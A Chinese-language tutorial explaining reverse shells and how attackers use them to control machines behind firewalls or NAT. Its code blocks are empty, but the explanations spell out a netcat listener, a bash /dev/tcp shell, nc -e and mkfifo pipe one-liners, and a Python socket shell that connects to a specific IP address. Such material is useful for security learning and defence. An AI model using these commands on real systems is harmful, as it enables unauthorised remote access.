反弹shell
什么是反弹shell
反弹shell(Reverse Shell)是一种常见的攻击方式,通常用于远程控制目标系统。它与传统的“反向连接”(Reverse Connection)相似,通过允许目标系统主动连接回攻击者的机器,从而绕过防火墙或NAT(网络地址转换)等网络安全措施。
反弹 shell 是一种网络攻击技术,它允许攻击者在远程目标机器上执行一个命令,使得目标机器主动向攻击者的机器发起网络连接,将一个命令行 shell(如 bash、cmd 等)提供给攻击者,从而让攻击者能够控制目标机器的 shell,就好像直接在目标机器上操作一样
什么时候用到反弹shell
提权,无回显,命令执行失败时我们都需要想到使用反弹shell,以便我们进行后续的操作
反弹shell的前提是要有一个VPS
反弹shell的工作原理
通常情况下,我们会从本地计算机发起连接去访问远程服务器,这是正向连接,比如使用 SSH、HTTP 等协议。
但在某些情况下,目标机器可能处于防火墙或网络地址转换(NAT)之后,外部无法直接访问,或者目标机器有严格的入站连接限制,这时正向连接就无法实现。
在传统的shell远程访问中,攻击者的机器通常会主动连接到目标机器上。
反弹shell与之相反,反弹shell利用反向连接的概念,在目标机器上执行一个命令,该命令会主动向攻击者控制的服务器发起连接,目标机器主动连接到攻击者的机器,并向攻击者的机器发送一个shell(命令行接口)。
攻击者通过这个shell可以绕过防火墙和NAT限制,从而可以执行命令、上传、下载文件等操作,实现对目标机器的远程控制。
反弹shell的具体步骤
- 攻击者启动一个监听程序(如netcat,nc -lvp 2333)等待目标机器的连接
1 | |
- 目标机器会主动向攻击者机器发起连接,并将一个shell连接回攻击者
1 | |
利用bash进行反弹shell,适用于linux系统
- bash -i:打开一个交互式的bash shell
- >&:将标准输出和标准错误输出重定向
- /dev/tcp/ip/2333:利用bash的特殊文件表示,尝试建立一个到 ip 的 2333 端口的TCP连接
- 0>&1:将标准输入重定向到标准输出,这样可以让攻击者通过建立的TCP连接与 bash shell 进行交互
1 | |
2333 是监听的端口,-e /bin/bash 表示通过这个连接执行 /bin/bash 命令,即启动一个 shell,(对于一些较旧的nc版本可以使用。)
- nc(Netcat):一个强大的网络工具,可用于各种网络操作
- -e:指定连接成功后执行的程序,这里将 /bin/bash 作为程序,即一旦与 ip 的 2333 端口建立连接,就会执行 /bin/bash 并将其作为shell提供给对方
1 | |
对于较新的 nc 版本,可能不支持 -e 选项,可以用这个命令来代替
- rm /tmp/f;mkfifo /tmp/f:删除 /tmp/f ,并创建一个命令管道 /tmp/f
- cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 4444 >/tmp/f:使用管道将 cat 从命名管道读取的数据送给 bash -i,将 bash 的标准错误输出重定向到标准输出,再通过 nc 发送给 ip 的 4444 端口,同时 nc 接收的数据重定向回命名管道,形成一个双向通信通道
1 | |
- import socket,subprocess,os:导入所需的模块,socket 用于网络连接,subprocess 用于执行外部命令,os 用于文件描述符操作
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM):创建一个 IPv4 的 TCP 套接字
- s.connect((“ip”,2333)):连接到 120.55.3.157 的 2333 端口
- os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2):将套接字的文件描述符复制到标准输入、标准输出和标准错误输出,实现通过套接字的输入输出功能。
- p=subprocess.call([“/bin/bash”,”-i”]):执行一个交互式的 bash shell
- 连接建立,攻击者就可以通过该连接来控制目标机器